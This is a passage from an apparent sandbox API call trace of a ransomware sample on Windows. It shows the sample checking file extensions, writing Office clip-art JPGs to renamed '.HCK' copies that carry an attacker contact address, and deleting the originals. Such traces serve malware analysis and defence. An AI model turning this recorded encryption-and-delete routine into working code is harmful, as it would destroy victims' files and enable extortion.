Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".doc") returned 4 [0172.579] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.579] lstrlenW (lpString=".docx") returned 5 [0172.579] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.579] lstrlenW (lpString=".pdf") returned 4 [0172.579] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString=".xls") returned 4 [0172.579] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString=".xlsx") returned 5 [0172.579] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.579] lstrlenW (lpString=".ppt") returned 4 [0172.579] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".zip") returned 4 [0172.579] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString=".rar") returned 4 [0172.579] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString=".bz2") returned 4 [0172.579] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.579] lstrlenW (lpString=".7z") returned 3 [0172.579] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".dbf") returned 4 [0172.579] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".1cd") returned 4 [0172.579] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".jpg") returned 4 [0172.580] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.580] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.580] lstrlenW (lpString="J0341636.JPG") returned 12 [0172.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.585] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13845) returned 1 [0172.585] CloseHandle (hObject=0x300) returned 1 [0172.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg")) returned 0x220 [0172.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.596] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.596] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.602] GetLastError () returned 0x0 [0172.602] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3615, lpOverlapped=0x0) returned 1 [0172.604] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3620, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3620, lpOverlapped=0x0) returned 1 [0172.604] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.605] WriteFile (in: hFile=0x308, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.605] SetEndOfFile (hFile=0x308) returned 1 [0172.607] CloseHandle (hObject=0x308) returned 1 [0172.610] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.610] SetEndOfFile (hFile=0x3a8) returned 1 [0172.613] CloseHandle (hObject=0x3a8) returned 1 [0172.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341636.jpg")) returned 1 [0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.619] lstrlenW (lpString=".doc") returned 4 [0172.619] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.619] lstrlenW (lpString=".docx") returned 5 [0172.619] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0172.619] lstrlenW (lpString=".pdf") returned 4 [0172.619] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.619] lstrlenW (lpString=".xls") returned 4 [0172.619] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.619] lstrlenW (lpString=".xlsx") returned 5 [0172.619] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0172.619] lstrlenW (lpString=".ppt") returned 4 [0172.619] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.619] lstrlenW (lpString=".zip") returned 4 [0172.619] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.619] lstrlenW (lpString=".rar") returned 4 [0172.619] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.619] lstrlenW (lpString=".bz2") returned 4 [0172.619] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.619] lstrlenW (lpString=".7z") returned 3 [0172.619] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.619] lstrlenW (lpString=".dbf") returned 4 [0172.619] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.619] lstrlenW (lpString=".1cd") returned 4 [0172.619] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.619] lstrlenW (lpString=".jpg") returned 4 [0172.619] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.619] lstrlenW (lpString=".doc") returned 4 [0172.619] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.619] lstrlenW (lpString=".docx") returned 5 [0172.619] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0172.619] lstrlenW (lpString=".pdf") returned 4 [0172.619] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.619] lstrlenW (lpString=".xls") returned 4 [0172.619] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.619] lstrlenW (lpString=".xlsx") returned 5 [0172.620] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0172.620] lstrlenW (lpString=".ppt") returned 4 [0172.620] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.620] lstrlenW (lpString=".zip") returned 4 [0172.620] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.620] lstrlenW (lpString=".rar") returned 4 [0172.620] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.620] lstrlenW (lpString=".bz2") returned 4 [0172.620] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.620] lstrlenW (lpString=".7z") returned 3 [0172.620] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.620] lstrlenW (lpString=".dbf") returned 4 [0172.620] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.620] lstrlenW (lpString=".1cd") returned 4 [0172.620] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341636.JPG") returned 68 [0172.620] lstrlenW (lpString=".jpg") returned 4 [0172.620] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.620] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.620] lstrlenW (lpString="J0341738.JPG") returned 12 [0172.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.624] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20166) returned 1 [0172.624] CloseHandle (hObject=0x2fc) returned 1 [0172.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg")) returned 0x220 [0172.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.629] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.629] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.635] GetLastError () returned 0x0 [0172.635] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4ec6, lpOverlapped=0x0) returned 1 [0172.636] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4ed0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4ed0, lpOverlapped=0x0) returned 1 [0172.637] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.637] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.637] SetEndOfFile (hFile=0x3a8) returned 1 [0172.639] CloseHandle (hObject=0x3a8) returned 1 [0172.641] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.641] SetEndOfFile (hFile=0x300) returned 1 [0172.645] CloseHandle (hObject=0x300) returned 1 [0172.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg")) returned 1 [0172.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.650] lstrlenW (lpString=".doc") returned 4 [0172.650] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.650] lstrlenW (lpString=".docx") returned 5 [0172.650] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.650] lstrlenW (lpString=".pdf") returned 4 [0172.650] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.650] lstrlenW (lpString=".xls") returned 4 [0172.650] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.650] lstrlenW (lpString=".xlsx") returned 5 [0172.650] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.650] lstrlenW (lpString=".ppt") returned 4 [0172.650] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.650] lstrlenW (lpString=".zip") returned 4 [0172.650] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.650] lstrlenW (lpString=".rar") returned 4 [0172.650] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.650] lstrlenW (lpString=".bz2") returned 4 [0172.650] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.650] lstrlenW (lpString=".7z") returned 3 [0172.650] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.650] lstrlenW (lpString=".dbf") returned 4 [0172.650] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.650] lstrlenW (lpString=".1cd") returned 4 [0172.650] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.650] lstrlenW (lpString=".jpg") returned 4 [0172.650] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.650] lstrlenW (lpString=".doc") returned 4 [0172.650] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.650] lstrlenW (lpString=".docx") returned 5 [0172.651] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.651] lstrlenW (lpString=".pdf") returned 4 [0172.651] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.651] lstrlenW (lpString=".xls") returned 4 [0172.651] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.651] lstrlenW (lpString=".xlsx") returned 5 [0172.651] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.651] lstrlenW (lpString=".ppt") returned 4 [0172.651] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.651] lstrlenW (lpString=".zip") returned 4 [0172.651] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.651] lstrlenW (lpString=".rar") returned 4 [0172.651] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.651] lstrlenW (lpString=".bz2") returned 4 [0172.651] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.651] lstrlenW (lpString=".7z") returned 3 [0172.651] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.651] lstrlenW (lpString=".dbf") returned 4 [0172.651] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.651] lstrlenW (lpString=".1cd") returned 4 [0172.651] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG") returned 68 [0172.651] lstrlenW (lpString=".jpg") returned 4 [0172.651] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.651] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.651] lstrlenW (lpString="J0382926.JPG") returned 12 [0172.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.653] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=91948) returned 1 [0172.653] CloseHandle (hObject=0x300) returned 1 [0172.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg")) returned 0x220 [0172.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.657] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.657] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.661] GetLastError () returned 0x0 [0172.661] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1672c, lpOverlapped=0x0) returned 1 [0172.664] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x16730, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x16730, lpOverlapped=0x0) returned 1 [0172.666] ReadFile (in: hFile=0x3a8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.666] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.666] SetEndOfFile (hFile=0x300) returned 1 [0172.671] CloseHandle (hObject=0x300) returned 1 [0172.671] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.671] SetEndOfFile (hFile=0x3a8) returned 1 [0172.674] CloseHandle (hObject=0x3a8) returned 1 [0172.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg")) returned 1 [0172.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.683] lstrlenW (lpString=".doc") returned 4 [0172.683] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.683] lstrlenW (lpString=".docx") returned 5 [0172.683] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0172.683] lstrlenW (lpString=".pdf") returned 4 [0172.683] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.683] lstrlenW (lpString=".xls") returned 4 [0172.683] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.683] lstrlenW (lpString=".xlsx") returned 5 [0172.683] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0172.683] lstrlenW (lpString=".ppt") returned 4 [0172.683] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.684] lstrlenW (lpString=".zip") returned 4 [0172.684] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.684] lstrlenW (lpString=".rar") returned 4 [0172.684] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.684] lstrlenW (lpString=".bz2") returned 4 [0172.684] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.684] lstrlenW (lpString=".7z") returned 3 [0172.684] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.684] lstrlenW (lpString=".dbf") returned 4 [0172.684] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.684] lstrlenW (lpString=".1cd") returned 4 [0172.684] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.684] lstrlenW (lpString=".jpg") returned 4 [0172.684] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG") returned 68 [0172.684] lstrlenW (lpString=".doc") returned 4 [0172.684] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.684] lstrlenW (lpString=".docx") returned 5 [0172.684] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0172.684] lstrlenW (lpString=".pdf") returned 4 [0172.684] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.684] lstrlenW (lpString=".xls") returned 4 [0172.684] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.684] lstrlenW 